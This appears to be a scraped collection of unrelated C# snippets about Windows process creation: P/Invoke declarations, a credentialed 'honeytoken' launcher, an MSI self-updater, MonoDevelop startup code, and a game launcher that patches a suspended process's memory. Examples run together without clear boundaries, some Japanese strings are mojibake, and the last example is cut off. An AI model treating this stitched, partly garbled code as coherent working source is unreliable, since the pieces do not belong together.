Example #1
0
        public static System.Diagnostics.Process CreateProcess(string path, string args, string currentDirectory)
        {
            if (!File.Exists(path))
            {
                throw new ArgumentException("File does not exist");
            }
            ProcessInfo proc = new ProcessInfo();
            try
            {
                var inf = new StartupInfo();

                inf.cb = (uint)Marshal.SizeOf(typeof(StartupInfo));
                var cmd = path;
                if(!string.IsNullOrWhiteSpace(args))
                {
                    cmd += " " + args;
                }
                if (!CreateProcess(null, cmd, IntPtr.Zero, IntPtr.Zero, false, CREATE_BREAKAWAY_FROM_JOB | CREATE_NO_WINDOW, IntPtr.Zero, currentDirectory, ref inf, out proc))
                {
                    throw new InvalidOperationException("Couldn't create process");
                }

                return System.Diagnostics.Process.GetProcessById(proc.ProcessId);
            }
            finally
            {
                if (proc.hProcess != IntPtr.Zero)
                {
                    Interop.CloseHandle(proc.hProcess);
                }
            }


        }
Example #2
0
 internal static extern bool CreateProcess(string applicationPath,
  string commandLineArgs,
  ref SecurityAttributes processSecurityAttributes,
  ref SecurityAttributes threadSecurityAttributes,
  bool inheritHandle,
  ProcessCreationFlags creationFlags,
  IntPtr environment,
  string currentDirectory,
  ref StartupInfo startupInfo,
  out ProcessInformation processInformation);
Example #3
0
 public static extern Win32Bool CreateProcess(
   string lpApplicationName,
   char[] lpCommandLine,
   IntPtr lpProcessAttributes,
   IntPtr lpThreadAttributes,
   int bInheritHandles,
   uint dwCreationFlags,
   char[] lpEnvironment,
   string lpCurrentDirectory,
   ref StartupInfo lpStartupInfo,
   ref Process_Information lpProcessInformation);
Example #4
0
 static extern bool CreateProcessWithLogonW(
     string principal,
     string authority,
     string password,
     LogonFlags logonFlags,
     string appName,
     string cmdLine,
     CreationFlags creationFlags,
     IntPtr environmentBlock,
     string currentDirectory,
     ref StartupInfo startupInfo,
     out ProcessInfo processInfo);
Example #5
0
 private static extern bool CreateProcess(
     string lpApplicationName,
     string lpCommandLine,
     IntPtr lpProcessAttributes,
     IntPtr lpThreadAttributes,
     bool bInheritHandles,
     uint dwCreationFlags,
     IntPtr lpEnvironment,
     string lpCurrentDirectory,
     ref StartupInfo lpStartupInfo,
     out ProcessInfo lpProcessInformation
 );
Example #6
0
 public static extern bool CreateProcessWithLogonW(
     String userName,
     String domain,
     String password,
     UInt32 logonFlags,
     String applicationName,
     String commandLine,
     UInt32 creationFlags,
     UInt32 environment,
     String currentDirectory,
     ref StartupInfo startupInfo,
     out ProcessInformation processInformation);
Example #7
0
        public static void CreateProcess(string userName, string domain, string password, string path)
        {
            const uint logonNetcredentialsOnly = 2;
            
            var lpStartupInfo = new StartupInfo();
            ProcessInformation processInformation;

            var results = CreateProcessWithLogonW(
                userName,
                domain,
                password,
                logonNetcredentialsOnly,
                null,
                path,
                0,
                0,
                null,
                ref lpStartupInfo,
                out processInformation);

            if (!results)
                throw new Win32Exception(Marshal.GetLastWin32Error());
        }
Example #8
0
        private static uint CreateHoneytokenProcess(string appPath, string domain, string user,
            string password, LogonFlags lf, CreationFlags cf)
        {
            StartupInfo si = new StartupInfo();
            si.cb = Marshal.SizeOf(typeof(StartupInfo));
            ProcessInfo pi = new ProcessInfo();
            pi.dwProcessId = 0;

            if (CreateProcessWithLogonW(user, domain, password,
            lf,
            appPath, null,
            cf, IntPtr.Zero, null,
            ref si, out pi))
            {
                CloseHandle(pi.hProcess);
                CloseHandle(pi.hThread);
            }
            else
            {
                throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error());
            }
            return(pi.dwProcessId);
        }
Example #9
0
        public static Int32 Main(String[] args)
        {
            StartupInfo startup = new StartupInfo();
            startup.Error = new ErrorHandler(ErrorHandled);
            startup.DumpProgress = new DumpProgressHandler(DumpProgressHandled);

            if (args.Length < 2)
            {
                ShowUsage();
                Console.Error.WriteLine("�R�}���h���C���������s�����Ă��܂��B");
                return 1;
            }

            // command line params
            for (Int32 i = 2; i < args.Length; i++)
            {
                switch (args[i].ToLower())
                {
                        /*case "-e": case "/e":
                            if (i < args.Length - 1) {
                                reExclude = new Regex("("+Regex.Escape(args[i+1]).Replace(',', '|')+")");
                                i++;
                            }
                            break;*/
                    case "-re": case "/re":
                        if (i < args.Length - 1)
                        {
                            startup.Exclude = new Regex(args[i+1]);
                            i++;
                        }
                        break;
                    case "-l": case "/l":
                        if (i < args.Length - 1)
                        {
                            startup.PreviousDateLimit = Int32.Parse(args[i+1]);
                            i++;
                        }
                        break;
                    case "-v": case "/v":
                        if (i < args.Length - 1)
                        {
                            try
                            {
                                _verbosity = (Verbosity)Enum.Parse(typeof(Verbosity), args[i+1], true);
                                i++;
                            }
                            catch (System.ArgumentException)
                            {
                                _verbosity = Verbosity.Detail;
                            }
                        }
                        else
                        {
                            _verbosity = Verbosity.Detail;
                        }
                        break;
                    case "-s": case "/s": case "-q": case "/q":
                        _verbosity = Verbosity.Silent;
                        break;
                    case "-c": case "/c":
                        startup.CheckMode = true;
                        break;
                    case "-?": case "/?": case "-h": case "--help":
                        ShowUsage();
                        return 0;
                    case "-nogui": case "/nogui":
                        break;
                    default:
                        Console.Error.WriteLine("���m�̃R�}���h���C���I�v�V���� \"{0}\" �͖�������܂��B", args[i]);
                        break;
                }
            }

            startup.SourceDirectory = Path.GetFullPath(args[0] + Path.DirectorySeparatorChar);
            startup.DestinationRootDirectory = Path.GetFullPath(args[1] + Path.DirectorySeparatorChar);

            if (_verbosity == Verbosity.Debug)
            {
                Console.WriteLine("srcDir:\t\t'{0}'\ndestRootDir:\t'{1}'\nbasename:\t'{2}'\nArg:\t\t'{3}'\n", startup.SourceDirectory, startup.DestinationRootDirectory, "", args[0]);
                Console.WriteLine("prevDir:\t'{0}'\ndestDir:\t'{1}'",
                    Dumper.GetPreviousSnap(startup.DestinationRootDirectory, startup.StartDate, startup.PreviousDateLimit),
                    startup.DestinationDirectory);
            }

            if (!FileUtility.IsNTFS(startup.DestinationRootDirectory))
            {
                Console.Error.WriteLine("�G���[: �o�b�N�A�b�v��̃{�����[����NTFS�łȂ���΂����܂���B");
                return 1;
            }
            else if (Environment.OSVersion.Version < new Version("5.0") ||
                Environment.OSVersion.Platform != PlatformID.Win32NT)
            {
                Console.Error.WriteLine("�G���[: ���̃\�t�g�E�F�A�� Windows2000 �ȍ~�� NT�x�[�X�� Windows ��K�v�Ƃ��܂��B");
                return 1;
            }

            if (_verbosity == Verbosity.Silent)
                Console.SetOut(StreamWriter.Null);

            try
            {
                Console.WriteLine("Destination Directory: {0}", startup.DestinationDirectory);
                Dumper.Copy(startup);
            }
            catch (IOException ie)
            {
                Console.Error.WriteLine("�G���[: {0}", ie.Message);
                return 1;
            }

            return 0;
        }
        async Task CheckForUpdates()
        {
            try
            {
                // Remove any old ClickOnce installs
                try
                {
                    var uninstallInfo = UninstallInfo.Find("IPFilter Updater");
                    if (uninstallInfo != null)
                    {
                        Trace.TraceWarning("Old ClickOnce app installed! Trying to remove...");
                            var uninstaller = new Uninstaller();
                            uninstaller.Uninstall(uninstallInfo);
                            Trace.TraceInformation("Successfully removed ClickOnce app");
                    }
                }
                catch (Exception ex)
                {
                    Trace.TraceError("Failed to remove old ClickOnce app: " + ex);
                    telemetryClient?.TrackException(ex);
                }

                Trace.TraceInformation("Checking for software updates...");
                progress.Report(new ProgressModel(UpdateState.Downloading, "Checking for software updates...", -1));

                var updater = new Updater();

                var result = await updater.CheckForUpdateAsync();

                var currentVersion = new Version(Process.GetCurrentProcess().MainModule.FileVersionInfo.FileVersion);

                var latestVersion = new Version(result.Version);
                
                Update.IsUpdateAvailable = latestVersion > currentVersion;

                if (Update.IsUpdateAvailable)
                {
                    Update.AvailableVersion = latestVersion;
                    Update.IsUpdateRequired = true;
                    Update.MinimumRequiredVersion = latestVersion;
                    Update.UpdateSizeBytes = 2000000;
                }

                Trace.TraceInformation("Current version: {0}", Update.CurrentVersion);
                Trace.TraceInformation("Available version: {0}", Update.AvailableVersion?.ToString() ?? "<no updates>");

                if (!Update.IsUpdateAvailable ) return;
                
                if (MessageBoxHelper.Show(dispatcher, "Update Available", MessageBoxButton.YesNo, MessageBoxImage.Question, MessageBoxResult.Yes,
                    "An update to version {0} is available. Would you like to update now?", Update.AvailableVersion) != MessageBoxResult.Yes)
                {
                    return;
                }
                
                Trace.TraceInformation("Starting application update...");

                // If we're not "installed", then don't check for updates. This is so the
                // executable can be stand-alone. Stand-alone self-update to come later.
                using (var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\IPFilter"))
                {
                    var installPath = (string) key?.GetValue("InstallPath");
                    if (installPath == null)
                    {
                        using (var process = new Process())
                        {
                            process.StartInfo = new ProcessStartInfo("https://davidmoore.github.io/ipfilter/")
                            {
                                UseShellExecute = true
                            };

                            process.Start();
                            return;
                        }
                    }
                }

                var msiPath = Path.Combine(Path.GetTempPath(), "IPFilter.msi");

                // Download the installer
                using (var handler = new WebRequestHandler())
                {
                    handler.AutomaticDecompression = DecompressionMethods.GZip | DecompressionMethods.Deflate;

                    var uri = new Uri($"{result.Uri}?{DateTime.Now.ToString("yyyyMMddHHmmss")}");

                    using (var httpClient = new HttpClient(handler))
                    using (var response = await httpClient.GetAsync(uri, HttpCompletionOption.ResponseHeadersRead, cancellationToken.Token))
                    {
                        if (cancellationToken.IsCancellationRequested)
                        {
                            progress.Report(new ProgressModel(UpdateState.Ready, "Update cancelled. Ready.", 100));
                            Update.IsUpdating = false;
                            return;
                        }

                        var length = response.Content.Headers.ContentLength;
                        double lengthInMb = !length.HasValue ? -1 : (double)length.Value / 1024 / 1024;
                        double bytesDownloaded = 0;

                        using(var stream = await response.Content.ReadAsStreamAsync())
                        using(var msi = File.Open( msiPath, FileMode.Create, FileAccess.Write, FileShare.Read))
                        {
                            var buffer = new byte[65535 * 4];

                            int bytesRead = await stream.ReadAsync(buffer, 0, buffer.Length, cancellationToken.Token);
                            while (bytesRead != 0)
                            {
                                await msi.WriteAsync(buffer, 0, bytesRead, cancellationToken.Token);
                                bytesDownloaded += bytesRead;

                                if (length.HasValue)
                                {
                                    double downloadedMegs = bytesDownloaded / 1024 / 1024;
                                    var percent = (int)Math.Floor((bytesDownloaded / length.Value) * 100);

                                    var status = string.Format(CultureInfo.CurrentUICulture, "Downloaded {0:F2} MB of {1:F2} MB", downloadedMegs, lengthInMb);

                                    Update.IsUpdating = true;
                                    Update.DownloadPercentage = percent;
                                    progress.Report(new ProgressModel(UpdateState.Downloading, status, percent));
                                }

                                if (cancellationToken.IsCancellationRequested)
                                {
                                    progress.Report(new ProgressModel(UpdateState.Ready, "Update cancelled. Ready.", 100));
                                    Update.IsUpdating = false;
                                    return;
                                }

                                bytesRead = await stream.ReadAsync(buffer, 0, buffer.Length, cancellationToken.Token);
                            }
                        }
                    }
                }

                progress.Report(new ProgressModel(UpdateState.Ready, "Launching update...", 100));
                Update.IsUpdating = false;
                
                // Now run the installer
                var sb = new StringBuilder("msiexec.exe ");

                // Enable logging for the installer
                sb.AppendFormat(" /l*v \"{0}\"", Path.Combine(Path.GetTempPath(), "IPFilter.log"));
                
                sb.AppendFormat(" /i \"{0}\"", msiPath);

                //sb.Append(" /passive");

                ProcessInformation processInformation = new ProcessInformation();
                StartupInfo startupInfo = new StartupInfo();
                SecurityAttributes processSecurity = new SecurityAttributes();
                SecurityAttributes threadSecurity = new SecurityAttributes();
                processSecurity.nLength = Marshal.SizeOf(processSecurity);
                threadSecurity.nLength = Marshal.SizeOf(threadSecurity);

                const int NormalPriorityClass = 0x0020;

                if (!ProcessManager.CreateProcess(null, sb, processSecurity,
                    threadSecurity, false, NormalPriorityClass,
                    IntPtr.Zero, null, startupInfo, processInformation))
                {
                    throw Marshal.GetExceptionForHR(Marshal.GetHRForLastWin32Error());
                }
                
                try
                {
                    //dispatcher.Invoke(DispatcherPriority.Normal, new Action(Application.Current.Shutdown));
                    Application.Current.Shutdown();
                }
                catch (Exception ex)
                {
                    Trace.TraceError("Exception when shutting down app for update: " + ex);
                    Update.ErrorMessage = "Couldn't shutdown the app to apply update.";
                    telemetryClient?.TrackException(ex);
                }
            }
            catch (Exception ex)
            {
                Trace.TraceWarning("Application update check failed: " + ex);
                telemetryClient?.TrackException(ex);
                telemetryClient?.Flush();
            }
            finally
            {
                progress.Report(new ProgressModel(UpdateState.Ready, "Ready", 0));
            }
        }
Example #11
0
        int Run(MonoDevelopOptions options)
        {
            LoggingService.LogInfo("Starting {0} {1}", BrandingService.ApplicationLongName, IdeVersionInfo.MonoDevelopVersion);
            LoggingService.LogInfo("Running on {0}", IdeVersionInfo.GetRuntimeInfo());

            //ensure native libs initialized before we hit anything that p/invokes
            Platform.Initialize();

            LoggingService.LogInfo("Operating System: {0}", SystemInformation.GetOperatingSystemDescription());

            Counters.Initialization.BeginTiming();

            if (options.PerfLog)
            {
                string logFile = Path.Combine(Environment.CurrentDirectory, "monodevelop.perf-log");
                LoggingService.LogInfo("Logging instrumentation service data to file: " + logFile);
                InstrumentationService.StartAutoSave(logFile, 1000);
            }

            Counters.Initialization.Trace("Initializing GTK");
            if (Platform.IsWindows && !CheckWindowsGtk())
            {
                return(1);
            }
            SetupExceptionManager();

            IdeApp.Customizer = options.IdeCustomizer ?? new IdeCustomizer();
            try {
                IdeApp.Customizer.Initialize();
            } catch (UnauthorizedAccessException ua) {
                LoggingService.LogError("Unauthorized access: " + ua.Message);
                return(1);
            }

            try {
                GLibLogging.Enabled = true;
            } catch (Exception ex) {
                LoggingService.LogError("Error initialising GLib logging.", ex);
            }

            var args = options.RemainingArgs.ToArray();

            IdeTheme.InitializeGtk(BrandingService.ApplicationName, ref args);

            LoggingService.LogInfo("Using GTK+ {0}", IdeVersionInfo.GetGtkVersion());

            // XWT initialization
            FilePath p = typeof(IdeStartup).Assembly.Location;

            Platform.AssemblyLoad(p.ParentDirectory.Combine("Xwt.Gtk.dll"));
            Xwt.Application.InitializeAsGuest(Xwt.ToolkitType.Gtk);
            Xwt.Toolkit.CurrentEngine.RegisterBackend <IExtendedTitleBarWindowBackend, GtkExtendedTitleBarWindowBackend> ();
            Xwt.Toolkit.CurrentEngine.RegisterBackend <IExtendedTitleBarDialogBackend, GtkExtendedTitleBarDialogBackend> ();
            IdeTheme.SetupXwtTheme();

            //default to Windows IME on Windows
            if (Platform.IsWindows && GtkWorkarounds.GtkMinorVersion >= 16)
            {
                var settings = Gtk.Settings.Default;
                var val      = GtkWorkarounds.GetProperty(settings, "gtk-im-module");
                if (string.IsNullOrEmpty(val.Val as string))
                {
                    GtkWorkarounds.SetProperty(settings, "gtk-im-module", new GLib.Value("ime"));
                }
            }

            string   socket_filename = null;
            EndPoint ep = null;

            DispatchService.Initialize();

            // Set a synchronization context for the main gtk thread
            SynchronizationContext.SetSynchronizationContext(DispatchService.SynchronizationContext);
            Runtime.MainSynchronizationContext = SynchronizationContext.Current;

            AddinManager.AddinLoadError += OnAddinError;

            var startupInfo = new StartupInfo(args);

            // If a combine was specified, force --newwindow.

            if (!options.NewWindow && startupInfo.HasFiles)
            {
                Counters.Initialization.Trace("Pre-Initializing Runtime to load files in existing window");
                Runtime.Initialize(true);
                foreach (var file in startupInfo.RequestedFileList)
                {
                    if (MonoDevelop.Projects.Services.ProjectService.IsWorkspaceItemFile(file.FileName))
                    {
                        options.NewWindow = true;
                        break;
                    }
                }
            }

            Counters.Initialization.Trace("Initializing Runtime");
            Runtime.Initialize(true);

            Composition.CompositionManager.InitializeAsync().Ignore();

            IdeApp.Customizer.OnCoreInitialized();

            Counters.Initialization.Trace("Initializing theme");

            IdeTheme.SetupGtkTheme();

            ProgressMonitor monitor = new MonoDevelop.Core.ProgressMonitoring.ConsoleProgressMonitor();

            monitor.BeginTask(GettextCatalog.GetString("Starting {0}", BrandingService.ApplicationName), 2);

            //make sure that the platform service is initialised so that the Mac platform can subscribe to open-document events
            Counters.Initialization.Trace("Initializing Platform Service");
            DesktopService.Initialize();

            monitor.Step(1);

            if (options.IpcTcp)
            {
                listen_socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
                ep            = new IPEndPoint(IPAddress.Loopback, ipcBasePort + HashSdbmBounded(Environment.UserName));
            }
            else
            {
                socket_filename = "/tmp/md-" + Environment.GetEnvironmentVariable("USER") + "-socket";
                listen_socket   = new Socket(AddressFamily.Unix, SocketType.Stream, ProtocolType.IP);
                ep = new UnixEndPoint(socket_filename);
            }

            // If not opening a combine, connect to existing monodevelop and pass filename(s) and exit
            if (!options.NewWindow && startupInfo.HasFiles)
            {
                try {
                    StringBuilder builder = new StringBuilder();
                    foreach (var file in startupInfo.RequestedFileList)
                    {
                        builder.AppendFormat("{0};{1};{2}\n", file.FileName, file.Line, file.Column);
                    }
                    listen_socket.Connect(ep);
                    listen_socket.Send(Encoding.UTF8.GetBytes(builder.ToString()));
                    return(0);
                } catch {
                    // Reset the socket
                    if (null != socket_filename && File.Exists(socket_filename))
                    {
                        File.Delete(socket_filename);
                    }
                }
            }

            Counters.Initialization.Trace("Checking System");

            CheckFileWatcher();

            Exception error            = null;
            int       reportedFailures = 0;

            try {
                Counters.Initialization.Trace("Loading Icons");
                //force initialisation before the workbench so that it can register stock icons for GTK before they get requested
                ImageService.Initialize();
                LocalizationService.Initialize();

                // If we display an error dialog before the main workbench window on OS X then a second application menu is created
                // which is then replaced with a second empty Apple menu.
                // XBC #33699
                Counters.Initialization.Trace("Initializing IdeApp");
                IdeApp.Initialize(monitor);

                if (errorsList.Count > 0)
                {
                    using (AddinLoadErrorDialog dlg = new AddinLoadErrorDialog((AddinError[])errorsList.ToArray(typeof(AddinError)), false)) {
                        if (!dlg.Run())
                        {
                            return(1);
                        }
                    }
                    reportedFailures = errorsList.Count;
                }

                if (!CheckSCPlugin())
                {
                    return(1);
                }

                // Load requested files
                Counters.Initialization.Trace("Opening Files");

                // load previous combine
                RecentFile openedProject = null;
                if (IdeApp.Preferences.LoadPrevSolutionOnStartup && !startupInfo.HasSolutionFile && !IdeApp.Workspace.WorkspaceItemIsOpening && !IdeApp.Workspace.IsOpen)
                {
                    openedProject = DesktopService.RecentFiles.MostRecentlyUsedProject;
                    if (openedProject != null)
                    {
                        var metadata = GetOpenWorkspaceOnStartupMetadata();
                        IdeApp.Workspace.OpenWorkspaceItem(openedProject.FileName, true, true, metadata).ContinueWith(t => IdeApp.OpenFiles(startupInfo.RequestedFileList, metadata), TaskScheduler.FromCurrentSynchronizationContext());
                        startupInfo.OpenedRecentProject = true;
                    }
                }
                if (openedProject == null)
                {
                    IdeApp.OpenFiles(startupInfo.RequestedFileList, GetOpenWorkspaceOnStartupMetadata());
                    startupInfo.OpenedFiles = startupInfo.HasFiles;
                }

                monitor.Step(1);
            } catch (Exception e) {
                error = e;
            } finally {
                monitor.Dispose();
            }

            if (error != null)
            {
                string message = BrandingService.BrandApplicationName(GettextCatalog.GetString("MonoDevelop failed to start"));
                MessageService.ShowFatalError(message, null, error);
                return(1);
            }

            if (errorsList.Count > reportedFailures)
            {
                using (AddinLoadErrorDialog dlg = new AddinLoadErrorDialog((AddinError[])errorsList.ToArray(typeof(AddinError)), true))
                    dlg.Run();
            }

            errorsList = null;
            AddinManager.AddinLoadError -= OnAddinError;

            // FIXME: we should probably track the last 'selected' one
            // and do this more cleanly
            try {
                listen_socket.Bind(ep);
                listen_socket.Listen(5);
                listen_socket.BeginAccept(new AsyncCallback(ListenCallback), listen_socket);
            } catch {
                // Socket already in use
            }

            initialized = true;
            MessageService.RootWindow    = IdeApp.Workbench.RootWindow;
            Xwt.MessageDialog.RootWindow = Xwt.Toolkit.CurrentEngine.WrapWindow(IdeApp.Workbench.RootWindow);
            Thread.CurrentThread.Name    = "GUI Thread";
            Counters.Initialization.Trace("Running IdeApp");
            Counters.Initialization.EndTiming();

            AddinManager.AddExtensionNodeHandler("/MonoDevelop/Ide/InitCompleteHandlers", OnExtensionChanged);
            StartLockupTracker();

            startupTimer.Stop();
            Counters.Startup.Inc(GetStartupMetadata(startupInfo));

            IdeApp.Run();

            IdeApp.Customizer.OnIdeShutdown();

            // unloading services
            if (null != socket_filename)
            {
                File.Delete(socket_filename);
            }
            lockupCheckRunning = false;
            Runtime.Shutdown();

            IdeApp.Customizer.OnCoreShutdown();

            InstrumentationService.Stop();

            MonoDevelop.Components.GtkWorkarounds.Terminate();

            return(0);
        }
Example #12
0
        int Run(MonoDevelopOptions options)
        {
            Counters.Initialization.BeginTiming();

            if (options.LogCounters)
            {
                string logFile = Path.Combine(Environment.CurrentDirectory, "monodevelop.clog");
                LoggingService.LogInfo("Logging instrumentation service data to file: " + logFile);
                InstrumentationService.StartAutoSave(logFile, 1000);
            }

            Counters.Initialization.Trace("Initializing GTK");
            SetupExceptionManager();

            try {
                MonoDevelop.Ide.Gui.GLibLogging.Enabled = true;
            } catch (Exception ex) {
                LoggingService.LogError("Error initialising GLib logging.", ex);
            }

            //OSXFIXME
            var args = options.RemainingArgs.ToArray();

            Gtk.Application.Init("monodevelop", ref args);

            //default to Windows IME on Windows
            if (Platform.IsWindows && Mono.TextEditor.GtkWorkarounds.GtkMinorVersion >= 16)
            {
                var settings = Gtk.Settings.Default;
                var val      = Mono.TextEditor.GtkWorkarounds.GetProperty(settings, "gtk-im-module");
                if (string.IsNullOrEmpty(val.Val as string))
                {
                    Mono.TextEditor.GtkWorkarounds.SetProperty(settings, "gtk-im-module", new GLib.Value("ime"));
                }
            }

            InternalLog.Initialize();
            string   socket_filename = null;
            EndPoint ep = null;

            DispatchService.Initialize();

            // Set a synchronization context for the main gtk thread
            SynchronizationContext.SetSynchronizationContext(new GtkSynchronizationContext());

            AddinManager.AddinLoadError += OnAddinError;

            var startupInfo = new StartupInfo(args);

            // If a combine was specified, force --newwindow.

            if (!options.NewWindow && startupInfo.HasFiles)
            {
                Counters.Initialization.Trace("Pre-Initializing Runtime to load files in existing window");
                Runtime.Initialize(true);
                foreach (var file in startupInfo.RequestedFileList)
                {
                    if (MonoDevelop.Projects.Services.ProjectService.IsWorkspaceItemFile(file.FileName))
                    {
                        options.NewWindow = true;
                        break;
                    }
                }
            }

            DefaultTheme = Gtk.Settings.Default.ThemeName;
            if (!string.IsNullOrEmpty(IdeApp.Preferences.UserInterfaceTheme))
            {
                Gtk.Settings.Default.ThemeName = IdeApp.Preferences.UserInterfaceTheme;
            }

            //don't show the splash screen on the Mac, so instead we get the expected "Dock bounce" effect
            //this also enables the Mac platform service to subscribe to open document events before the GUI loop starts.
            if (Platform.IsMac)
            {
                options.NoLogo = true;
            }

            IProgressMonitor monitor;

            if (options.NoLogo)
            {
                monitor = new MonoDevelop.Core.ProgressMonitoring.ConsoleProgressMonitor();
            }
            else
            {
                monitor = SplashScreenForm.SplashScreen;
                SplashScreenForm.SplashScreen.ShowAll();
            }

            Counters.Initialization.Trace("Initializing Runtime");
            monitor.BeginTask(GettextCatalog.GetString("Starting " + BrandingService.ApplicationName), 3);
            monitor.Step(1);
            Runtime.Initialize(true);

            //make sure that the platform service is initialised so that the Mac platform can subscribe to open-document events
            Counters.Initialization.Trace("Initializing Platform Service");
            DesktopService.Initialize();

            monitor.Step(1);

            if (options.IpcTcp)
            {
                listen_socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
                ep            = new IPEndPoint(IPAddress.Loopback, ipcBasePort + HashSdbmBounded(Environment.UserName));
            }
            else
            {
                socket_filename = "/tmp/md-" + Environment.GetEnvironmentVariable("USER") + "-socket";
                listen_socket   = new Socket(AddressFamily.Unix, SocketType.Stream, ProtocolType.IP);
                ep = new UnixEndPoint(socket_filename);
            }

            // If not opening a combine, connect to existing monodevelop and pass filename(s) and exit
            if (!options.NewWindow && startupInfo.HasFiles)
            {
                try {
                    StringBuilder builder = new StringBuilder();
                    foreach (var file in startupInfo.RequestedFileList)
                    {
                        builder.AppendFormat("{0};{1};{2}\n", file.FileName, file.Line, file.Column);
                    }
                    listen_socket.Connect(ep);
                    listen_socket.Send(Encoding.UTF8.GetBytes(builder.ToString()));
                    return(0);
                } catch {
                    // Reset the socket
                    if (null != socket_filename && File.Exists(socket_filename))
                    {
                        File.Delete(socket_filename);
                    }
                }
            }

            Counters.Initialization.Trace("Checking System");
            string version = Assembly.GetEntryAssembly().GetName().Version.Major + "." + Assembly.GetEntryAssembly().GetName().Version.Minor;

            if (Assembly.GetEntryAssembly().GetName().Version.Build != 0)
            {
                version += "." + Assembly.GetEntryAssembly().GetName().Version.Build;
            }
            if (Assembly.GetEntryAssembly().GetName().Version.Revision != 0)
            {
                version += "." + Assembly.GetEntryAssembly().GetName().Version.Revision;
            }

            // System checks
            if (!CheckBug77135())
            {
                return(1);
            }

            if (!CheckQtCurve())
            {
                return(1);
            }

            CheckFileWatcher();

            Exception error            = null;
            int       reportedFailures = 0;

            try {
                Counters.Initialization.Trace("Loading Icons");
                //force initialisation before the workbench so that it can register stock icons for GTK before they get requested
                ImageService.Initialize();

                if (errorsList.Count > 0)
                {
                    if (monitor is SplashScreenForm)
                    {
                        SplashScreenForm.SplashScreen.Hide();
                    }
                    AddinLoadErrorDialog dlg = new AddinLoadErrorDialog((AddinError[])errorsList.ToArray(typeof(AddinError)), false);
                    if (!dlg.Run())
                    {
                        return(1);
                    }
                    if (monitor is SplashScreenForm)
                    {
                        SplashScreenForm.SplashScreen.Show();
                    }
                    reportedFailures = errorsList.Count;
                }

                // no alternative for Application.ThreadException?
                // Application.ThreadException += new ThreadExceptionEventHandler(ShowErrorBox);

                Counters.Initialization.Trace("Initializing IdeApp");
                IdeApp.Initialize(monitor);

                // Load requested files
                Counters.Initialization.Trace("Opening Files");
                IdeApp.OpenFiles(startupInfo.RequestedFileList);

                monitor.Step(1);
            } catch (Exception e) {
                error = e;
            } finally {
                monitor.Dispose();
            }

            if (error != null)
            {
                LoggingService.LogFatalError(null, error);
                MessageService.ShowException(error,
                                             GettextCatalog.GetString("MonoDevelop failed to start. The following error has been reported: ") + error.Message);
                return(1);
            }

            if (errorsList.Count > reportedFailures)
            {
                AddinLoadErrorDialog dlg = new AddinLoadErrorDialog((AddinError[])errorsList.ToArray(typeof(AddinError)), true);
                dlg.Run();
            }

            errorsList = null;

            // FIXME: we should probably track the last 'selected' one
            // and do this more cleanly
            try {
                listen_socket.Bind(ep);
                listen_socket.Listen(5);
                listen_socket.BeginAccept(new AsyncCallback(ListenCallback), listen_socket);
            } catch {
                // Socket already in use
            }

            initialized = true;
            MessageService.RootWindow = IdeApp.Workbench.RootWindow;
            Thread.CurrentThread.Name = "GUI Thread";
            Counters.Initialization.Trace("Running IdeApp");
            Counters.Initialization.EndTiming();

            AddinManager.AddExtensionNodeHandler("/MonoDevelop/Ide/InitCompleteHandlers", OnExtensionChanged);

            IdeApp.Run();

            // unloading services
            if (null != socket_filename)
            {
                File.Delete(socket_filename);
            }

            Runtime.Shutdown();
            InstrumentationService.Stop();

            return(0);
        }
    /// <summary>
    /// Calls <see cref="CreateProcessAsUserW"/> and safely stores the obtained handles.
    /// </summary>
    /// <param name="userToken">Token to impersonate the external process</param>
    /// <param name="createFlags">Flags used to create the external process</param>
    /// <param name="startupInfo">Startup information used to create the external process</param>
    /// <returns><c>true</c> if the call to <see cref="CreateProcessAsUserW"/> was successful; otherwise <c>false</c></returns>
    private bool SafeCreateProcessAsUserW(IntPtr userToken, CreateProcessFlags createFlags, StartupInfo startupInfo)
    {
      _processHandle = new SafeProcessHandle();
      var threadHandle = new SafeThreadHandle();
      bool success;

      // The following is necessary to make sure that processInformation.hProcess and processInformation.hThread
      // are safely stored in the respective SafeHandle classes. It is, unfortunately, not possible to define
      // processInformation.hProcess and processInformation.hThread as SafeHandles and use processInformation
      // as an out parameter, because the unmanaged code is not able to create these objects. We therefore use
      // IntPtr and ensure in the following that the IntPtrs are stored in SafeHandle objects immediately after
      // they have been obtained.
      // For details see here: https://msdn.microsoft.com/en-us/library/system.runtime.compilerservices.runtimehelpers.prepareconstrainedregions(v=vs.110).aspx
      RuntimeHelpers.PrepareConstrainedRegions();
      try { }
      finally
      {
        ProcessInformation processInformation;
        success = CreateProcessAsUserW(userToken, null, GetCommandLine(), IntPtr.Zero, IntPtr.Zero, true, createFlags, IntPtr.Zero, null, startupInfo, out processInformation);
        if (success)
        {
          _processHandle.InitialSetHandle(processInformation.hProcess);
          threadHandle.InitialSetHandle(processInformation.hThread);
          _processId = processInformation.dwProcessId;
        }
      }
      
      // We don't need the threadHandle and therefore immediately dispose it.
      threadHandle.Dispose();

      if (success)
        return true;

      _processHandle.Dispose();
      var error = Marshal.GetLastWin32Error();
      _debugLogger.Error("AsyncImpersonationProcess ({0}): Cannot start process. ErrorCode: {1} ({2})", StartInfo.FileName, error, new Win32Exception(error).Message);
      return false;
    }
Example #14
0
        private void Launch()
        {
            _config = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);

            string path = _config.AppSettings.Settings["Path"].Value;

            if (!File.Exists(path))
            {
                MessageBox.Show("Hybrasyl Launcher could not find Dark Ages located at: \r\n" + path, "File not found!", MessageBoxButton.OK, MessageBoxImage.Hand);
                return;
            }

            ProcessInformation information;
            StartupInfo        startupInfo = new StartupInfo();

            startupInfo.Size = Marshal.SizeOf(startupInfo);



            Kernel32.CreateProcess(path, null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.Suspended,
                                   IntPtr.Zero, null, ref startupInfo, out information);

            using (ProcessMemoryStream stream = new ProcessMemoryStream(information.ProcessId,
                                                                        ProcessAccess.VmWrite | ProcessAccess.VmRead | ProcessAccess.VmOperation))
            {
                if (_config.AppSettings.Settings["SkipIntro"].Value == "true")
                {
                    stream.Position = 0x42E625L; // intro
                    stream.WriteByte(0x90);
                    stream.WriteByte(0x90);
                    stream.WriteByte(0x90);
                    stream.WriteByte(0x90);
                    stream.WriteByte(0x90);
                    stream.WriteByte(0x90);
                }

                #region Legacy IPAddress Code
